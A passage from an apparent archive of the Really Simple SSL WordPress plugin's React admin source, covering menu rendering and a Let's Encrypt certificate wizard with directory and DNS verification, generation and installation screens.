                menuItem = addVisibleToMenuItems(menuItem);
            }
            newMenuItems[index] = menuItem;
        }
    }
    menu.menu_items = newMenuItems;
    menu.visible = true;
    return menu;
}really-simple-ssl/settings/src/Menu/MenuItem.js000064400000006161147510273070015550 0ustar00import { __ } from '@wordpress/i18n';
import useMenu from "./MenuData";

const MenuItem = (props) => {
    const {selectedSubMenuItem, selectedMainMenuItem, subMenu, menu} = useMenu();
    const menuIsSelected = isSelectedMenuItem(selectedSubMenuItem, props.menuItem);

    const ensureArray = (data) => {
        return Array.isArray(data) ? data : [data];
    }

    let menuClass = menuIsSelected ? ' rsssl-active' : '';
    menuClass += props.menuItem.featured ? ' rsssl-featured' : '';
    menuClass += props.menuItem.new ? ' rsssl-new' : '';
    menuClass += props.menuItem.premium && !rsssl_settings.pro_plugin_active ? ' rsssl-premium' : '';
    let menuLink = props.menuItem.directLink || '#'+selectedMainMenuItem+'/'+props.menuItem.id;

    return (
        <>
            {props.menuItem.visible && (
                <>
                    {props.isMainMenu ? (
                        <div className="rsssl-main-menu">
                            <div className={"rsssl-menu-item" + menuClass}>
                                <a href={menuLink}>
                                    <span>{props.menuItem.title}</span>
                                    {props.menuItem.featured && <span className='rsssl-menu-item-beta-pill'>{__('Beta', 'really-simple-ssl')}</span>}
                                    {props.menuItem.new && <span className='rsssl-menu-item-new-pill'>{__('New', 'really-simple-ssl')}</span>}
                                </a>
                            </div>
                        </div>
                    ) : (
                        <div className={"rsssl-menu-item" + menuClass}>
                            <a href={menuLink}>
                                <span>{props.menuItem.title}</span>
                                {props.menuItem.featured && <span className='rsssl-menu-item-beta-pill'>{__('Beta', 'really-simple-ssl')}</span>}
                                {props.menuItem.new && <span className='rsssl-menu-item-new-pill'>{__('New', 'really-simple-ssl')}</span>}
                            </a>
                        </div>
                    )}

                    {props.menuItem.menu_items && menuIsSelected && (
                        <div className="rsssl-submenu-item">
                            {ensureArray(props.menuItem.menu_items).map((subMenuItem, i) => (
                                subMenuItem.visible && <MenuItem key={"submenuItem" + i} menuItem={subMenuItem} isMainMenu={false} />
                            ))}
                        </div>
                    )}
                </>
            )}
        </>
    );



}

export default MenuItem

/**
 * Utility function to check if selected menu item is the current menu item or a child of the current menu item
 * @param selectedSubMenuItem
 * @param menuItem
 * @returns {boolean}
 */
const isSelectedMenuItem = (selectedSubMenuItem, menuItem) => {
    if (selectedSubMenuItem === menuItem.id) {
        return true;
    }
    if (menuItem.menu_items) {
        for (const item of menuItem.menu_items) {
            if (item.id === selectedSubMenuItem) {
                return true;
            }
        }
    }
    return false;
};
really-simple-ssl/settings/src/LetsEncrypt/DnsVerification.js000064400000007372147510273070020471 0ustar00import {useState, useEffect} from "@wordpress/element";
import { __ } from '@wordpress/i18n';
import Hyperlink from "../utils/Hyperlink";
import {
    Button,
} from '@wordpress/components';
import useFields from "../Settings/FieldsData";
import useMenu from "../Menu/MenuData";
import useLetsEncryptData from "./letsEncryptData";
import {addUrlRef} from "../utils/AddUrlRef";

const DnsVerification = (props) => {
    const {switchButtonDisabled, updateVerificationType, setRefreshTests} = useLetsEncryptData();
    const {fields, addHelpNotice, updateField, setChangedField, saveFields, fetchFieldsData, getFieldValue} = useFields();
    const {selectedSubMenuItem, setSelectedSubMenuItem} = useMenu();
    const [tokens, setTokens] = useState(false);
    let action = props.action;

     useEffect(()=> {
        if (action && action.action==='challenge_directory_reachable' && action.status==='error') {
            addHelpNotice(
                props.field.id,
                 'default',
                __("The challenge directory is used to verify the domain ownership.", "really-simple-ssl"),
            );
        }
         let newTokens = action ? action.output : false;
         if ( typeof (newTokens) === "undefined" || newTokens.length === 0 ) {
             newTokens = false;
         }
         if ( newTokens ) {
             setTokens(newTokens);
         }
     }, [action]);

    const handleSwitchToDir = async () => {
        await setSelectedSubMenuItem('le-directories');
        await updateField('verification_type', 'dir');
        await setChangedField('verification_type', 'dir');
        await saveFields(true, true);
        await updateVerificationType('dir');
        await fetchFieldsData('le-directories');
        setRefreshTests(true);
    }

    let verificationType = getFieldValue('verification_type');
    if (verificationType==='dir') {
        return (<></>);
    }

    return (
        <>
           { tokens && tokens.length>0 &&
                <div className="rsssl-test-results">
                    <h4>{__("Next step", "really-simple-ssl")}</h4>
                    <p>{__("Add the following token as text record to your DNS records. We recommend to use a short TTL during installation, in case you need to change it.", "really-simple-ssl")}
                        &nbsp;<Hyperlink target="_blank" rel="noopener noreferrer" text={__("Read more", "really-simple-ssl")}
                                   url={addUrlRef("https://really-simple-ssl.com/how-to-add-a-txt-record-to-dns")}/>
                    </p>
                    <div  className="rsssl-dns-text-records">
                        <div>
                            <div className="rsssl-dns-domain">@/{__("Domain", "really-simple-ssl")}</div>
                            <div className="rsssl-dns-field">{__("Value", "really-simple-ssl")}</div>
                        </div>
                        { tokens.map((tokenData, i) =>
                            <div>
                                <div className="rsssl-dns-">_acme-challenge.{tokenData.domain}</div>
                                <div className="rsssl-dns-field rsssl-selectable">{tokenData.token}</div>
                            </div>
                        )}
                    </div>
                </div>
            }

            <div className="rsssl-test-results">
                <p>{__("DNS verification active. You can switch back to directory verification here.","really-simple-ssl")}</p>
                <Button
                    disabled={switchButtonDisabled}
                    variant="secondary"
                    onClick={() => handleSwitchToDir()}
                >{ __( 'Switch to directory verification', 'really-simple-ssl' ) }</Button>
            </div>

        </>
    )
}

export default DnsVerification;really-simple-ssl/settings/src/LetsEncrypt/Activate.js000064400000000330147510273070017125 0ustar00import Onboarding from "../Onboarding/Onboarding";

const Activate = () => {
    return (
        <div className="rsssl-lets-encrypt-tests">
            <Onboarding/>
         </div>
    )
}

export default Activate;really-simple-ssl/settings/src/LetsEncrypt/Directories.js000064400000020403147510273070017644 0ustar00import {__} from '@wordpress/i18n';
import Hyperlink from "../utils/Hyperlink";
import {
    Button,
} from '@wordpress/components';
import useFields from "../Settings/FieldsData";
import useMenu from "../Menu/MenuData";
import {useEffect} from '@wordpress/element';
import useLetsEncryptData from "./letsEncryptData";
import {addUrlRef} from "../utils/AddUrlRef";

const Directories = ({action, field}) => {
    const {switchButtonDisabled, updateVerificationType, setRefreshTests} = useLetsEncryptData();

    const {addHelpNotice, updateField, setChangedField, saveFields, fetchFieldsData} = useFields();
    const { setSelectedSubMenuItem} = useMenu();

    useEffect(() => {
        if ((action && action.action === 'challenge_directory_reachable' && action.status === 'error')) {
            addHelpNotice(
                field.id,
                'default',
                __("The challenge directory is used to verify the domain ownership.", "really-simple-ssl"),
            );
        }

        if ((action && action.action === 'check_key_directory' && action.status === 'error')) {
            addHelpNotice(
                field.id,
                'default',
                __("The key directory is needed to store the generated keys.", "really-simple-ssl") + ' ' + __("By placing it outside the root folder, it is not publicly accessible.", "really-simple-ssl"),
            );
        }

        if ((action && action.action === 'check_certs_directory' && action.status === 'error')) {
            addHelpNotice(
                field.id,
                'default',
                __("The certificate will get stored in this directory.", "really-simple-ssl") + ' ' + __("By placing it outside the root folder, it is not publicly accessible.", "really-simple-ssl"),
            );
        }
    }, [action]);


    if ( !action ) {
        return (<></>);
    }

    const handleSwitchToDNS = async () => {

        updateField('verification_type', 'dns');
        setChangedField('verification_type', 'dns');
        await saveFields(true, true);
        await updateVerificationType('dns');
        await setSelectedSubMenuItem('le-dns-verification');
        await fetchFieldsData('le-dns-verification');
        setRefreshTests(true);
    }

    let dirError = action.status === 'error' && action.action === 'challenge_directory_reachable';

    return (
        <div className="rsssl-test-results">
            {action.status === 'error' && <h4>{__("Next step", "really-simple-ssl")}</h4>}
            {!dirError && rsssl_settings.hosting_dashboard === 'cpanel' &&
                <><p>
                    <Hyperlink target="_blank" rel="noopener noreferrer"
                               text={__("If you also want to secure subdomains like mail.domain.com, cpanel.domain.com, you have to use the %sDNS%s challenge.", "really-simple-ssl")}
                               url={addUrlRef("https://really-simple-ssl.com/lets-encrypt-authorization-with-dns")}/>
                    &nbsp;{__("Please note that auto-renewal with a DNS challenge might not be possible.", "really-simple-ssl")}
                </p></>
            }
            <div>
                <p>
                    {__("If the challenge directory cannot be created, or is not reachable, you can either remove the server limitation, or change to DNS verification.", "really-simple-ssl")}
                </p>
                <Button
                    disabled={switchButtonDisabled}
                    variant="secondary"
                    onClick={() => handleSwitchToDNS()}
                >
                    {__('Switch to DNS verification', 'really-simple-ssl')}
                </Button>
            </div>


            {(action.status === 'error' && action.action === 'check_challenge_directory') &&
                <div>
                    <h4>
                        {__("Create a challenge directory", "really-simple-ssl")}
                    </h4>
                    <p>
                        {__("Navigate in FTP or File Manager to the root of your WordPress installation:", "really-simple-ssl")}
                    </p>
                    <ul>
                        <li className="rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2">
                            {__('Create a folder called “.well-known”', 'really-simple-ssl')}
                        </li>
                        <li className="rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2">
                            {__('Inside the folder called “.well-known” create a new folder called “acme-challenge”, with 644 writing permissions.', 'really-simple-ssl')}
                        </li>
                        <li className="rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2">
                            {__('Click the refresh button.', 'really-simple-ssl')}
                        </li>
                    </ul>
                    <h4>
                        {__("Or you can switch to DNS verification", "really-simple-ssl")}
                    </h4>
                    <p>{__("If the challenge directory cannot be created, you can either remove the server limitation, or change to DNS verification.", "really-simple-ssl")}</p>
                    <Button
                        disabled={switchButtonDisabled}
                        variant="secondary"
                        onClick={() => handleSwitchToDNS()}
                    >
                        {__('Switch to DNS verification', 'really-simple-ssl')}
                    </Button>
                </div>
            }

            {(action.status === 'error' && action.action === 'check_key_directory') &&
                <div>
                    <h4>
                        {__("Create a key directory", "really-simple-ssl")}
                    </h4>
                    <p>
                        {__("Navigate in FTP or File Manager to one level above the root of your WordPress installation:", "really-simple-ssl")}
                    </p>
                    <ul>
                        <li className="rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2">
                            {__('Create a folder called “ssl”', 'really-simple-ssl')}
                        </li>
                        <li className="rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2">
                            {__('Inside the folder called “ssl” create a new folder called “keys”, with 644 writing permissions.', 'really-simple-ssl')}
                        </li>
                        <li className="rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2">
                            {__('Click the refresh button.', 'really-simple-ssl')}
                        </li>
                    </ul>
                </div>
            }

            {(action.status === 'error' && action.action === 'check_certs_directory') &&
                <div>
                    <h4>
                        {__("Create a certs directory", "really-simple-ssl")}
                    </h4>
                    <p>
                        {__("Navigate in FTP or File Manager to one level above the root of your WordPress installation:", "really-simple-ssl")}
                    </p>
                    <ul>
                        <li className="rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2">
                            {__('Create a folder called “ssl”', 'really-simple-ssl')}
                        </li>
                        <li className="rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2">
                            {__('Inside the folder called “ssl” create a new folder called “certs”, with 644 writing permissions.', 'really-simple-ssl')}
                        </li>
                        <li className="rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2">
                            {__('Click the refresh button.', 'really-simple-ssl')}
                        </li>
                    </ul>
                </div>
            }
        </div>
    )
}

export default Directories;really-simple-ssl/settings/src/LetsEncrypt/Installation.js000064400000012051147510273070020031 0ustar00import { __ } from '@wordpress/i18n';
import * as rsssl_api from "../utils/api";
import {dispatch,} from '@wordpress/data';
import {useEffect, useState} from '@wordpress/element';
import sleeper from "../utils/sleeper";
import useFields from "../Settings/FieldsData";

const Installation = (props) => {
    const {addHelpNotice} = useFields();

    const [installationData, setInstallationData] = useState(false);
    let action = props.action;

     useEffect(()=> {
        if ((action && action.status==='warning' && installationData && installationData.generated_by_rsssl )) {
            addHelpNotice(
                props.field.id,
                 'default',
                 __("This is the certificate, which you need to install in your hosting dashboard.", "really-simple-ssl"),
                 __("Certificate (CRT)", "really-simple-ssl")
              );

              addHelpNotice(
                props.field.id,
                 'default',
                 __("The private key can be uploaded or pasted in the appropriate field on your hosting dashboard.", "really-simple-ssl"),
                 __("Private Key (KEY)", "really-simple-ssl")
              );

              addHelpNotice(
                props.field.id,
                 'default',
                 __("The CA Bundle will sometimes be automatically detected. If not, you can use this file.", "really-simple-ssl"),
                 __("Certificate Authority Bundle (CABUNDLE)", "really-simple-ssl")
              );
        }

        if ( action && (action.status==='error' || action.status === 'warning') ) {
            rsssl_api.runLetsEncryptTest('installation_data').then( ( response ) => {
                if (response) {
                    setInstallationData(response.output);
                }
            });
        }

     }, [action]);


    const handleCopyAction = (type) => {
        let success;
        let data = document.querySelector('.rsssl-'+type).innerText;

        const el = document.createElement('textarea');
        el.value = data;	//str is your string to copy
        document.body.appendChild(el);
        el.select();
        try {
            success = document.execCommand("copy");
        } catch (e) {
            success = false;
        }
        document.body.removeChild(el);
        const notice = dispatch('core/notices').createNotice(
            'success',
            __( 'Copied!', 'really-simple-ssl' ),
            {
                __unstableHTML: true,
                id: 'rsssl_copied_data',
                type: 'snackbar',
                isDismissible: true,
            }
        ).then(sleeper(3000)).then(( response ) => {
            dispatch('core/notices').removeNotice('rsssl_copied_data');
        });
    }

    if ( !action ) {
        return (<></>);
    }


    if (!installationData) {
        return (<></>);
    }
    return (
        <div className="rsssl-test-results">
            { !installationData.generated_by_rsssl && <>{__("The certificate is not generated by Really Simple Security, so there are no installation files here","really-simple-ssl")}</>}

            { installationData.generated_by_rsssl && action.status === 'warning' &&
                <>
                <h4>{ __("Next step", "really-simple-ssl") }</h4>
                    <div className="rsssl-template-intro">{ __("Install your certificate.", "really-simple-ssl")}</div>
                    <h4>{ __("Certificate (CRT)", "really-simple-ssl") }</h4>
                    <div className="rsssl-certificate-data rsssl-certificate" id="rsssl-certificate">{installationData.certificate_content}</div>
                    <a href={installationData.download_url+"&type=certificate"} className="button button-secondary">{ __("Download", "really-simple-ssl")}</a>
                    <button type="button" onClick={(e) => handleCopyAction('certificate')} className="button button-primary">{ __("Copy content", "really-simple-ssl")}</button>

                    <h4>{ __("Private Key (KEY)", "really-simple-ssl") }</h4>
                    <div className="rsssl-certificate-data rsssl-key" id="rsssl-key">{installationData.key_content}</div>
                    <a href={installationData.download_url+"&type=private_key"} className="button button-secondary">{ __("Download", "really-simple-ssl")}</a>
                    <button type="button" className="button button-primary" onClick={(e) => handleCopyAction('key')} >{ __("Copy content", "really-simple-ssl")}</button>
                    <h4>{ __("Certificate Authority Bundle (CABUNDLE)", "really-simple-ssl") }</h4>
                    <div className="rsssl-certificate-data rsssl-cabundle" id="rsssl-cabundle">{installationData.ca_bundle_content}</div>
                    <a href={installationData.download_url+"&type=intermediate"} className="button button-secondary">{ __("Download", "really-simple-ssl")}</a>
                    <button type="button" className="button button-primary" onClick={(e) => handleCopyAction('cabundle')} >{ __("Copy content", "really-simple-ssl")}</button>
                </>
             }
         </div>
    )
}

export default Installation;really-simple-ssl/settings/src/LetsEncrypt/LetsEncrypt.js000064400000026405147510273070017654 0ustar00import {useEffect, useRef} from "@wordpress/element";
import * as rsssl_api from "../utils/api";
import sleeper from "../utils/sleeper";
import Directories from "./Directories";
import DnsVerification from "./DnsVerification";
import Generation from "./Generation";
import Activate from "./Activate";
import Installation from "./Installation";
import { __ } from '@wordpress/i18n';
import Icon from "../utils/Icon";
import useFields from "../Settings/FieldsData";
import useLetsEncryptData from "./letsEncryptData";
import DOMPurify from "dompurify";

const LetsEncrypt = ({field}) => {
    const {handleNextButtonDisabled, getFieldValue} = useFields();
    const {setSwitchButtonDisabled, actionsList, setActionsList, setActionsListItem, setActionsListProperty, actionIndex, setActionIndex, attemptCount, setAttemptCount, progress, setProgress, refreshTests, setRefreshTests} = useLetsEncryptData();
    const sleep = useRef(1000);
    const intervalId = useRef(false);
    const previousActionIndex = useRef(-1);
    const maxIndex = useRef(1);
    const refProgress = useRef(0);
    const lastAction = useRef({});

    useEffect(() => {
        reset();
   }, [field.id])

    useEffect(() => {
        setSwitchButtonDisabled(true);
    }, []);

    const getActions = () => {
        let propActions = field.actions;
        if ( field.id==='generation' ) {
            propActions = adjustActionsForDNS(propActions);
        }

        maxIndex.current = propActions.length;
        return propActions;
    }

    useEffect(() => {

        handleNextButtonDisabled(false);
        if ( actionsList.length>0 && actionIndex===-1){
            setActionIndex(0);
            runTest(0, 0);
        }
        return () => {
            // Perform any cleanup logic here if needed
            // For example, you can cancel any ongoing asynchronous tasks or subscriptions
        };
    }, [actionsList])

    useEffect(() => {
    }, [actionIndex, maxIndex.current]);

    const startInterval = () => {
        intervalId.current = setInterval(() => {
            if (refProgress.current<100) {
                setProgress(refProgress.current + 0.2);
            }
        }, 100);
    }

    useEffect(() => {
        previousActionIndex.current = actionIndex;
        setProgress( ( 100 / maxIndex.current ) * (actionIndex));

        //ensure that progress does not get to 100 when retries are still running
        let currentAction = actionsList[actionIndex];
        if ( currentAction && currentAction.do==='retry' && attemptCount>1 ){
            setProgress(90);
        }

       }, [actionIndex ])

    useEffect (() => {
        refProgress.current = progress;
    },[progress])

    useEffect(() => {
        if ( refreshTests ){
            setRefreshTests(false);
            reset();
            actionsList.forEach(function(action,i){
                setActionsListProperty(i, 'status', 'inactive');
            });
        }
    }, [refreshTests ])

    const statuses = {
        'inactive': {
            'icon': 'circle-times',
            'color': 'grey',
        },
        'warning': {
            'icon': 'circle-times',
            'color': 'orange',
        },
        'error': {
            'icon': 'circle-times',
            'color': 'red',
        },
        'success': {
            'icon': 'circle-check',
            'color': 'green',
        },
    };

    const reset = () => {
        setSwitchButtonDisabled(true);
        // handleNextButtonDisabled(true);
        setActionsList(getActions());
        setProgress(0);
        refProgress.current = 0;
        setActionIndex(-1);
        previousActionIndex.current = -1;
     }

    const adjustActionsForDNS = (actions) => {
        //find verification_type
        let verification_type = getFieldValue('verification_type');
        if ( !verification_type ) verification_type = 'dir';

        if ( verification_type==='dns' ) {
            //check if dns verification already is added
            let dnsVerificationAdded = false;
            actions.forEach(function(action, i) {
                if (action.action==="verify_dns"){
                    dnsVerificationAdded = true;
                }
            });

            //find bundle index
            let create_bundle_index = -1;
            actions.forEach(function(action, i) {
                if (action.action==="create_bundle_or_renew"){
                    create_bundle_index = i;
                }
            });

            if (!dnsVerificationAdded && create_bundle_index>0) {
                //store create bundle action
                let actionsCopy = [...actions];
                let createBundleAction = actionsCopy[create_bundle_index];
                //overwrite create bundle action
                let newAction = {};
                newAction.action = 'verify_dns';
                newAction.description = __("Verifying DNS records...", "really-simple-ssl");
                newAction.attempts = 2;
                actionsCopy[create_bundle_index] = newAction;
                actionsCopy.push(createBundleAction);
                actions = actionsCopy;
            }
        }
        return actions;
    }

    const processTestResult = async (action, newActionIndex) => {
        // clearInterval(intervalId.current);

        if ( action.status==='success' ) {
            setAttemptCount(0);
        } else {
            if (!Number.isInteger(action.attemptCount)) {
                setAttemptCount(0);
            }
            //ensure attemptCount is an integer
            setAttemptCount( parseInt(attemptCount) + 1 );
        }

        //used for dns verification actions
        let event = new CustomEvent('rsssl_le_response', { detail: action });
        document.dispatchEvent(event);
        //if all tests are finished with success
        //finalize happens when halfway through our tests it's finished. We can skip all others.
        if ( action.do === 'finalize' ) {
            actionsList.forEach(function(action,i){
                if (i>newActionIndex) {
                    setActionsListProperty(i, 'hide', true);
                }
            });
            setActionIndex(maxIndex.current+1);
            setSwitchButtonDisabled(false);
            // handleNextButtonDisabled(false);
        } else if ( action.do === 'continue' || action.do === 'skip' ) {
            //new action, so reset the attempts count
            setAttemptCount(1);
            //skip:  drop previous completely, skip to next.
            if ( action.do === 'skip' ) {
                setActionsListProperty(newActionIndex, 'hide', true);
            }
            //move to next action, but not if we're already on the max
            if ( maxIndex.current-1 > newActionIndex) {
                setActionIndex(newActionIndex+1);
                await runTest(newActionIndex+1);
            } else {
                setActionIndex(newActionIndex+1);
                setSwitchButtonDisabled(false);
                // handleNextButtonDisabled(false);
            }
        } else if (action.do === 'retry' ) {
            if ( attemptCount >= action.attempts ) {
                setSwitchButtonDisabled(false);
                setActionIndex(maxIndex.current);
            } else {
                setSwitchButtonDisabled(false);
                setActionIndex(newActionIndex);
                await runTest(newActionIndex);
            }
        } else if ( action.do === 'stop' ){
            setSwitchButtonDisabled(false);
            setActionIndex(maxIndex.current);
        }
    }

    const runTest = async (newActionIndex) => {
        let currentAction = {...actionsList[newActionIndex]};
        if (!currentAction) return;
        let  test = currentAction.action;
        const startTime = new Date();
        await rsssl_api.runLetsEncryptTest(test, field.id ).then( ( response ) => {
            const endTime = new Date();
            let timeDiff = endTime - startTime; //in ms
            const elapsedTime = Math.round(timeDiff);
            currentAction.status = response.status ? response.status : 'inactive';
            currentAction.hide = false;
            currentAction.description = response.message;
            currentAction.do = response.action;
            currentAction.output = response.output ? response.output : false;
            sleep.current = 500;
            if (elapsedTime<1500) {
               sleep.current = 1500-elapsedTime;
            }
            setActionsListItem(newActionIndex, currentAction);
        }).then(sleeper(sleep.current)).then( () => {
            processTestResult(currentAction, newActionIndex);
      });
    }

    const getStyles = (newProgress) => {
        return Object.assign(
            {},
            {width: newProgress+"%"},
        );
    }

    const getStatusIcon = (action) => {
        if (!statuses.hasOwnProperty(action.status)) {
            return statuses['inactive'].icon;
        }
        return statuses[action.status].icon
    }

    const getStatusColor = (action) => {
        if (!statuses.hasOwnProperty(action.status)) {
            return statuses['inactive'].color;
        }
        return statuses[action.status].color;
    }

    if ( !field.actions ) {
        return (<></>);
    }

    let progressCopy = progress;
    if (maxIndex.current === actionIndex+1 ){
        progressCopy = 100;
    }

    //filter out skipped actions
    let actionsOutput = actionsList.filter(action => action.hide !== true);
    //ensure the sub components have an action to look at, also if the action has been dropped after last test.
    let action = actionsList[actionIndex];
    if (action){
        lastAction.current = action;
    } else {
        action = lastAction.current;
    }
    let progressBarColor = action.status==='error' ? 'rsssl-orange' : '';
    return (
        <>
            <div className="rsssl-lets-encrypt-tests">
                <div className="rsssl-progress-bar"><div className="rsssl-progress"><div className={'rsssl-bar ' + progressBarColor} style={getStyles(progressCopy)}></div></div></div>
                <div className="rsssl_letsencrypt_container rsssl-progress-container field-group">
                    <ul>
                       {actionsOutput.map((action, i) =>
                              <li key={"action-"+i}>
                                  <Icon name = {getStatusIcon(action)} color = {getStatusColor(action)} />
                                        {action.do==='retry' && attemptCount >=1 && <>{__("Attempt %s.", "really-simple-ssl").replace('%s', attemptCount)} </>}
                                        &nbsp;
                                        <span dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(action.description) }}></span> {/* nosemgrep: react-dangerouslysetinnerhtml */}
                                    </li>

                            )
                        }
                    </ul>
                </div>
                {field.id === 'directories' && <Directories field={field} action={action}/> }
                {field.id === 'dns-verification' && <DnsVerification field={field} action={action}/> }
                {field.id === 'generation' && <Generation field={field} action={action}/> }
                {field.id === 'installation' && <Installation field={field} action={action}/> }
                {field.id === 'activate' && <Activate field={field} action={action}/> }
            </div>
        </>
    )
}

export default LetsEncrypt;really-simple-ssl/settings/src/LetsEncrypt/Generation.js000064400000004217147510273070017470 0ustar00import { __ } from '@wordpress/i18n';
import * as rsssl_api from "../utils/api";
import {dispatch,} from '@wordpress/data';
import sleeper from "../utils/sleeper";
import Hyperlink from "../utils/Hyperlink";

import {
    Button,
} from '@wordpress/components';
import useFields from "../Settings/FieldsData";

const Generation = (props) => {
    let action = props.action;

    if (!action) {
        return (<></>);
    }

    const handleSkipDNS = () => {
        return rsssl_api.runLetsEncryptTest('skip_dns_check').then( ( response ) => {
            props.restartTests();
            const notice = dispatch('core/notices').createNotice(
                'success',
                __( 'Skip DNS verification', 'really-simple-ssl' ),
                {
                    __unstableHTML: true,
                    id: 'rsssl_skip_dns',
                    type: 'snackbar',
                    isDismissible: true,
                }
            ).then(sleeper(3000)).then(( response ) => {
                dispatch('core/notices').removeNotice('rsssl_skip_dns');
            });
        });
    }

    return (
        <div className="rsssl-test-results">
            { (action.status === 'error' && action.action==='verify_dns' ) &&
                <>
                    <p>{ __("We could not check the DNS records. If you just added the record, please check in a few minutes.","really-simple-ssl")}&nbsp;
                                    <Hyperlink target="_blank" rel="noopener noreferrer" text={__("You can manually check the DNS records in an %sonline tool%s.","really-simple-ssl")}
                                    url="https://mxtoolbox.com/SuperTool.aspx"/>
                        { ' '+__("If you're sure it's set correctly, you can click the button to skip the DNS check.","really-simple-ssl")}&nbsp;
                    </p>
                    <Button
                        variant="secondary"
                        onClick={() => handleSkipDNS()}
                        >
                        { __( 'Skip DNS check', 'really-simple-ssl' ) }
                    </Button>
                </>
            }
        </div>
    );
}

export default Generation;really-simple-ssl/settings/src/LetsEncrypt/letsEncryptData.js000064400000004410147510273070020476 0ustar00import {create} from 'zustand';
import produce from 'immer';
import * as rsssl_api from "../utils/api";
import {__} from "@wordpress/i18n";
import sleeper from "../utils/sleeper";
import {dispatch} from '@wordpress/data';
const useLetsEncryptData = create(( set, get ) => ({
    actionIndex:-1,
    progress:0,
    attemptCount:0,
    refreshTests:false,
    actionsList:[],
    updateVerificationType: async (verificationType) => {
        await rsssl_api.runLetsEncryptTest('update_verification_type', verificationType).then((response) => {
            let msg = verificationType==='dir' ? __('Switched to Directory', 'really-simple-ssl') : __('Switched to DNS', 'really-simple-ssl');
            const notice = dispatch('core/notices').createNotice(
                'success',
                msg,
                {
                    __unstableHTML: true,
                    id: 'rsssl_switched_to_dns',
                    type: 'snackbar',
                    isDismissible: true,
                }
            ).then(sleeper(3000)).then((response) => {
                dispatch('core/notices').removeNotice('rsssl_switched_to_dns');
            });
        });
    },
    setAttemptCount: (attemptCount) => {set(state => ({ attemptCount }))},
    setProgress: (progress) => {set(state => ({ progress }))},
    setActionsList: (actionsList) => {set(state => ({ actionsList }))},
    setActionsListItem: (index, action) => {
        set(
            produce((state) => {
                state.actionsList[index] = action;
            })
        )
    },
    setActionsListProperty: (index, property, value) => {
        set(
            produce((state) => {
                //first, check if the actionsList has index and property
                if (typeof state.actionsList[index] === 'undefined' || typeof state.actionsList[index][property]) {
                    return;
                }

                state.actionsList[index][property] = value;
            })
        )
    },
    setRefreshTests: (refreshTests) => {set(state => ({ refreshTests }))},
    setActionIndex: (actionIndex) => {set(state => ({ actionIndex }))},
    switchButtonDisabled:false,
    setSwitchButtonDisabled: (switchButtonDisabled) => {set(state => ({ switchButtonDisabled }))},
}));
export default useLetsEncryptData;

really-simple-ssl/settings/src/Placeholder/PagePlaceholder.js000064400000001753147510273070020364 0ustar00import Error from '../utils/Error';
const PagePlaceholder = (props) => {
    return (
        <>
            <div className="rsssl-header-container">
                <div className="rsssl-header">
                    <img className="rsssl-logo"
                         src={rsssl_settings.plugin_url + 'assets/img/really-simple-security-logo.svg'}
                         alt="Really Simple Security logo"/>
                </div>
            </div>
            <div className="rsssl-content-area rsssl-grid rsssl-dashboard rsssl-page-placeholder">
                <div className="rsssl-grid-item  rsssl-column-2 rsssl-row-2 ">
                    {props.error && <Error error={props.error} /> }
                </div>
                <div className="rsssl-grid-item rsssl-row-2"></div>
                <div className="rsssl-grid-item rsssl-row-2"></div>
                <div className="rsssl-grid-item  rsssl-column-2"></div>
            </div>
        </>
    );
}

export default PagePlaceholder;

really-simple-ssl/settings/src/Placeholder/MenuPlaceholder.js000064400000000553147510273070020411 0ustar00const MenuPlaceholder = () => {
    return (
        <div className="rsssl-wizard-menu rsssl-grid-item rsssl-menu-placeholder">
            <div className="rsssl-grid-item-header">
                <h1 className="rsssl-h4"></h1>
            </div>
            <div className="rsssl-grid-item-content"></div>
        </div>
    );
}

export default MenuPlaceholder;really-simple-ssl/settings/src/Placeholder/Placeholder.js000064400000000704147510273070017562 0ustar00import Error from "../utils/Error";

const Placeholder = (props) => {

  let lines = props.lines;
  if ( !lines ) lines = 4;
  if (props.error) {
    lines = 0;
  }
  return (
      <div className="rsssl-placeholder">
        {props.error && <Error error={props.error} /> }
        {Array.from({length: lines}).map((item, i) => (<div className="rsssl-placeholder-line" key={"placeholder-"+i} ></div>))}
      </div>
  );

}

export default Placeholder;really-simple-ssl/settings/src/Placeholder/DashboardPlaceholder.js000064400000000635147510273070021375 0ustar00const DashboardPlaceholder = (props) => {
    return (
        <>
            <div className="rsssl-grid-item rsssl-column-2 rsssl-dashboard-placeholder"></div>
            <div className="rsssl-grid-item rsssl-row-2 rsssl-dashboard-placeholder"></div>
            <div className="rsssl-grid-item rsssl-row-2 rsssl-dashboard-placeholder"></div>
        </>
            );
}

export default DashboardPlaceholder;

really-simple-ssl/settings/src/Placeholder/DatatablePlaceholder.js000064400000000554147510273070021367 0ustar00import React from "react";
const DatatablePlaceholder = (props) => {
    let lines = props.lines;
    if ( !lines ) lines = 3;
    return (
        <div className="rsssl-datatable-placeholder">
            {Array.from({length: lines}).map((item, i) => (<div key={'datatable-placeholder-'+i} ></div>))}
        </div>
    );

}

export default DatatablePlaceholder;really-simple-ssl/settings/src/Placeholder/SettingsPlaceholder.js000064400000001065147510273070021304 0ustar00import Placeholder from "./Placeholder";

/**
 * Menu block, rendering the entire menu
 */
const SettingsPlaceholder = () => {
    return(
        <div className="rsssl-wizard-settings rsssl-column-2 rsssl-settings-placeholder">
            <div className="rsssl-grid-item">
                <div className="rsssl-grid-item-content">
                    <div className="rsssl-settings-block-intro"></div>
                </div>
            </div>
            <div className="rsssl-grid-item-footer"></div>
        </div>
    )
}

export default SettingsPlaceholder;
really-simple-ssl/settings/src/index.js000064400000001324147510273070014224 0ustar00import {
    render, createRoot
} from '@wordpress/element';
import Page from './Page';

/**
 * Initialize
 */

document.addEventListener( 'DOMContentLoaded', () => {
	const container = document.getElementById( 'really-simple-ssl' );
	if ( container ) {
		if ( createRoot ) {
			createRoot( container ).render( <Page/> );
		} else {
